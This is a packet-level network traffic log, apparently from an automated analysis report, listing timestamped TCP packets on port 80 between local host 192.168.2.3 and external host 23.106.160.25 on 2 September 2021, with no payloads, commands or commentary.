Sep 2, 2021 05:59:46.071449995 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071465015 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071476936 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071487904 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071502924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071521044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071538925 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071543932 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.071554899 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071569920 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071584940 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071599960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071600914 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.071614027 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071630001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071636915 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.071672916 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.247908115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248028040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248054981 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248070002 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248089075 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248106003 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248128891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248142004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248177052 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248178959 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248213053 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248222113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248302937 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248305082 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248337030 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248369932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248393059 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248395920 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248414993 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248420954 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248456001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248460054 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248488903 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248507023 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248522043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248554945 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248555899 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248574972 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248589993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248606920 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248627901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248630047 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248665094 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248666048 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248697996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248702049 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248733044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248763084 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248766899 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248783112 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248800993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248804092 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248851061 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248857975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248904943 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.248933077 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248970032 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.248972893 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249006987 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249074936 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249111891 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249129057 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249146938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249166012 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249186039 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249188900 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249218941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249258041 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249260902 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249279976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249303102 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249322891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249324083 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249346018 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249361038 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249373913 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249386072 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249397993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249419928 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249429941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249439001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249459982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.249485016 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.249532938 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.421663046 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421703100 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421722889 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421742916 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421761990 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421781063 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421806097 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421827078 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421844959 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421864986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421884060 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421890974 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.421902895 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421922922 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421941996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421966076 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.421987057 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422002077 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422004938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422025919 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422044992 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422063112 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422082901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422084093 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422101974 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422126055 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422147036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422147989 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422166109 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422184944 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422204018 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422215939 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422221899 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422240973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422260046 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422271013 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422282934 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422303915 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422322035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422332048 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422341108 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422359943 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422399998 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422431946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422452927 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422462940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422481060 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422514915 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422547102 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422569990 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422576904 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422595024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422616959 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422637939 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422672987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422688007 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422698975 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422725916 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422751904 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422770977 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422779083 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422802925 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422823906 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422830105 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422863960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422878981 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422893047 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422913074 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422928095 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.422934055 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422954082 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422974110 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422992945 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.422996998 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423012972 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423043013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423069000 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423075914 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423099995 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423140049 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423140049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423163891 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423197985 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423213005 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423221111 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423238993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423269033 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423300982 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423301935 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423331022 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423360109 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423382998 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423393965 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423402071 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423425913 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423444986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423481941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423489094 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423527002 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423559904 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423587084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423593998 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423614979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.423680067 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.423746109 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.594540119 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.594568014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.594583988 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.594604015 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.594624996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.594645023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.594669104 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.594723940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.595596075 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595628977 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595657110 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595679045 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.595685005 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595712900 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595752001 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.595760107 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595788956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595810890 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.595823050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595850945 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.595853090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595880032 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595906973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595911026 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.595935106 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595962048 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.595968962 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.595988035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596005917 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596015930 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596043110 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596045971 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596074104 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596101046 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596107960 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596128941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596157074 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596158981 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596183062 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596199989 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596211910 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596240044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596245050 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596271038 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596298933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596302032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596326113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596353054 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596360922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596380949 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596405029 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596410036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596437931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596445084 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596465111 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596497059 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596499920 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596524954 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596551895 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596560001 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596580029 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596607924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596607924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596633911 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596654892 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596661091 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596688986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596698999 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596719980 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596750021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596757889 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596776009 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596802950 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596821070 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596831083 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596858025 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596862078 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596885920 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596914053 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596914053 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596945047 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596954107 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.596972942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.596998930 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597001076 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597029924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597058058 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597059965 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597084999 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597112894 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597117901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597141027 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597163916 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597172976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597202063 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597204924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597229004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597259045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597263098 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597285986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597313881 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597320080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597342014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597364902 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597368956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597400904 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597403049 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597429991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597455978 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597456932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597485065 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597512960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597513914 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597538948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597558022 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597568035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597594976 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597603083 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597625971 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597656012 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597661018 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597682953 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597709894 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597723007 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597738028 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597763062 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597765923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597794056 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597805023 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597820044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597851038 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597862959 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597879887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597907066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597920895 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.597934008 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.597959995 CEST	49707	80	192.168.2.3	23.106.160.25
